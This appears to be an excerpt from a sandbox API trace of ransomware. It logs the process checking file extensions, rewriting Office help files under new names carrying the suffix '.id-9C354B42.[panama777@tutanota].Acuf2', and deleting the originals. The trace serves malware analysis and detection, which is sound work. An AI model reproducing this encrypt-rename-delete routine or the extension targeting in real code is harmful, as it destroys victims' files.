	[0263.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.904] lstrlenW (lpString=".zip") returned 4
	[0263.904] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.904] lstrlenW (lpString=".rar") returned 4
	[0263.904] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString=".bz2") returned 4
	[0263.905] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString=".7z") returned 3
	[0263.905] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.905] lstrlenW (lpString=".dbf") returned 4
	[0263.905] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.905] lstrlenW (lpString=".1cd") returned 4
	[0263.905] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.905] lstrlenW (lpString=".jpg") returned 4
	[0263.905] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.905] lstrlenW (lpString=".doc") returned 4
	[0263.905] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString=".docx") returned 5
	[0263.905] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.905] lstrlenW (lpString=".pdf") returned 4
	[0263.905] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString=".xls") returned 4
	[0263.905] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString=".xlsx") returned 5
	[0263.905] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.905] lstrlenW (lpString=".ppt") returned 4
	[0263.905] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.905] lstrlenW (lpString=".zip") returned 4
	[0263.905] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.905] lstrlenW (lpString=".rar") returned 4
	[0263.906] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.906] lstrlenW (lpString=".bz2") returned 4
	[0263.906] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.906] lstrlenW (lpString=".7z") returned 3
	[0263.906] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.906] lstrlenW (lpString=".dbf") returned 4
	[0263.906] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.906] lstrlenW (lpString=".1cd") returned 4
	[0263.906] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.906] lstrlenW (lpString=".jpg") returned 4
	[0263.906] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.906] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0263.906] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15
	[0263.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.907] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=6988760) returned 1
	[0263.907] CloseHandle (hObject=0x220) returned 1
	[0263.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs")) returned 0x20
	[0263.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0263.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63
	[0263.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63
	[0263.907] lstrlenW (lpString=".doc") returned 4
	[0263.907] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.907] lstrlenW (lpString=".docx") returned 5
	[0263.907] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0263.907] lstrlenW (lpString=".pdf") returned 4
	[0263.907] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.907] lstrlenW (lpString=".xls") returned 4
	[0263.907] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.907] lstrlenW (lpString=".xlsx") returned 5
	[0263.907] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0263.907] lstrlenW (lpString=".ppt") returned 4
	[0263.907] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63
	[0263.908] lstrlenW (lpString=".zip") returned 4
	[0263.908] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.908] lstrlenW (lpString=".rar") returned 4
	[0263.908] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.908] lstrlenW (lpString=".bz2") returned 4
	[0263.908] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.908] lstrlenW (lpString=".7z") returned 3
	[0263.908] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63
	[0263.908] lstrlenW (lpString=".dbf") returned 4
	[0263.908] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63
	[0263.908] lstrlenW (lpString=".1cd") returned 4
	[0263.908] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63
	[0263.908] lstrlenW (lpString=".jpg") returned 4
	[0263.908] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.909] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.909] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.911] GetLastError () returned 0x0
	[0263.911] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x28b, lpOverlapped=0x0) returned 1
	[0263.912] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0263.913] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.913] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0263.913] SetEndOfFile (hFile=0x358) returned 1
	[0263.913] CloseHandle (hObject=0x358) returned 1
	[0263.913] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.913] SetEndOfFile (hFile=0x220) returned 1
	[0263.915] CloseHandle (hObject=0x220) returned 1
	[0263.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 1
	[0263.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67
	[0263.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67
	[0263.916] lstrlenW (lpString=".doc") returned 4
	[0263.916] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.916] lstrlenW (lpString=".docx") returned 5
	[0263.916] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.916] lstrlenW (lpString=".pdf") returned 4
	[0263.916] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.916] lstrlenW (lpString=".xls") returned 4
	[0263.916] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.916] lstrlenW (lpString=".xlsx") returned 5
	[0263.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.916] lstrlenW (lpString=".ppt") returned 4
	[0263.916] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67
	[0263.916] lstrlenW (lpString=".zip") returned 4
	[0263.916] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.916] lstrlenW (lpString=".rar") returned 4
	[0263.916] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.916] lstrlenW (lpString=".bz2") returned 4
	[0263.916] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.916] lstrlenW (lpString=".7z") returned 3
	[0263.916] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67
	[0263.916] lstrlenW (lpString=".dbf") returned 4
	[0263.916] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67
	[0263.916] lstrlenW (lpString=".1cd") returned 4
	[0263.917] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67
	[0263.917] lstrlenW (lpString=".jpg") returned 4
	[0263.917] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.917] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=211) returned 1
	[0263.917] CloseHandle (hObject=0x220) returned 1
	[0263.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 0x20
	[0263.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.917] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.917] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.918] GetLastError () returned 0x0
	[0263.918] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xd3, lpOverlapped=0x0) returned 1
	[0263.919] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0263.919] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.919] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0263.920] SetEndOfFile (hFile=0x358) returned 1
	[0263.920] CloseHandle (hObject=0x358) returned 1
	[0263.920] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.920] SetEndOfFile (hFile=0x220) returned 1
	[0263.981] CloseHandle (hObject=0x220) returned 1
	[0263.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 1
	[0264.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67
	[0264.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67
	[0264.084] lstrlenW (lpString=".doc") returned 4
	[0264.084] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0264.084] lstrlenW (lpString=".docx") returned 5
	[0264.084] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0264.084] lstrlenW (lpString=".pdf") returned 4
	[0264.084] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0264.084] lstrlenW (lpString=".xls") returned 4
	[0264.084] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0264.084] lstrlenW (lpString=".xlsx") returned 5
	[0264.084] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0264.084] lstrlenW (lpString=".ppt") returned 4
	[0264.084] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0264.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67
	[0264.084] lstrlenW (lpString=".zip") returned 4
	[0264.084] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0264.084] lstrlenW (lpString=".rar") returned 4
	[0264.084] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0264.084] lstrlenW (lpString=".bz2") returned 4
	[0264.084] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0264.084] lstrlenW (lpString=".7z") returned 3
	[0264.084] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0264.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67
	[0264.084] lstrlenW (lpString=".dbf") returned 4
	[0264.084] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0264.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67
	[0264.084] lstrlenW (lpString=".1cd") returned 4
	[0264.084] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0264.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67
	[0264.085] lstrlenW (lpString=".jpg") returned 4
	[0264.085] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0264.085] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0264.085] CloseHandle (hObject=0x344) returned 1
	[0264.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 0x20
	[0264.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.085] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.085] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.086] GetLastError () returned 0x0
	[0264.086] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0264.087] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.088] ReadFile (in: hFile=0x344, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.088] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0264.088] SetEndOfFile (hFile=0x32c) returned 1
	[0264.088] CloseHandle (hObject=0x32c) returned 1
	[0264.088] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.088] SetEndOfFile (hFile=0x344) returned 1
	[0264.092] CloseHandle (hObject=0x344) returned 1
	[0264.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 1
	[0264.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69
	[0264.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69
	[0264.093] lstrlenW (lpString=".doc") returned 4
	[0264.093] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.093] lstrlenW (lpString=".docx") returned 5
	[0264.093] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.093] lstrlenW (lpString=".pdf") returned 4
	[0264.093] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.093] lstrlenW (lpString=".xls") returned 4
	[0264.093] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.093] lstrlenW (lpString=".xlsx") returned 5
	[0264.093] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.093] lstrlenW (lpString=".ppt") returned 4
	[0264.093] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69
	[0264.093] lstrlenW (lpString=".zip") returned 4
	[0264.093] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.093] lstrlenW (lpString=".rar") returned 4
	[0264.093] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.093] lstrlenW (lpString=".bz2") returned 4
	[0264.093] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.093] lstrlenW (lpString=".7z") returned 3
	[0264.093] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69
	[0264.093] lstrlenW (lpString=".dbf") returned 4
	[0264.093] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69
	[0264.094] lstrlenW (lpString=".1cd") returned 4
	[0264.094] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69
	[0264.094] lstrlenW (lpString=".jpg") returned 4
	[0264.094] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.094] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0264.094] CloseHandle (hObject=0x344) returned 1
	[0264.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 0x20
	[0264.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.095] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.095] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.095] GetLastError () returned 0x0
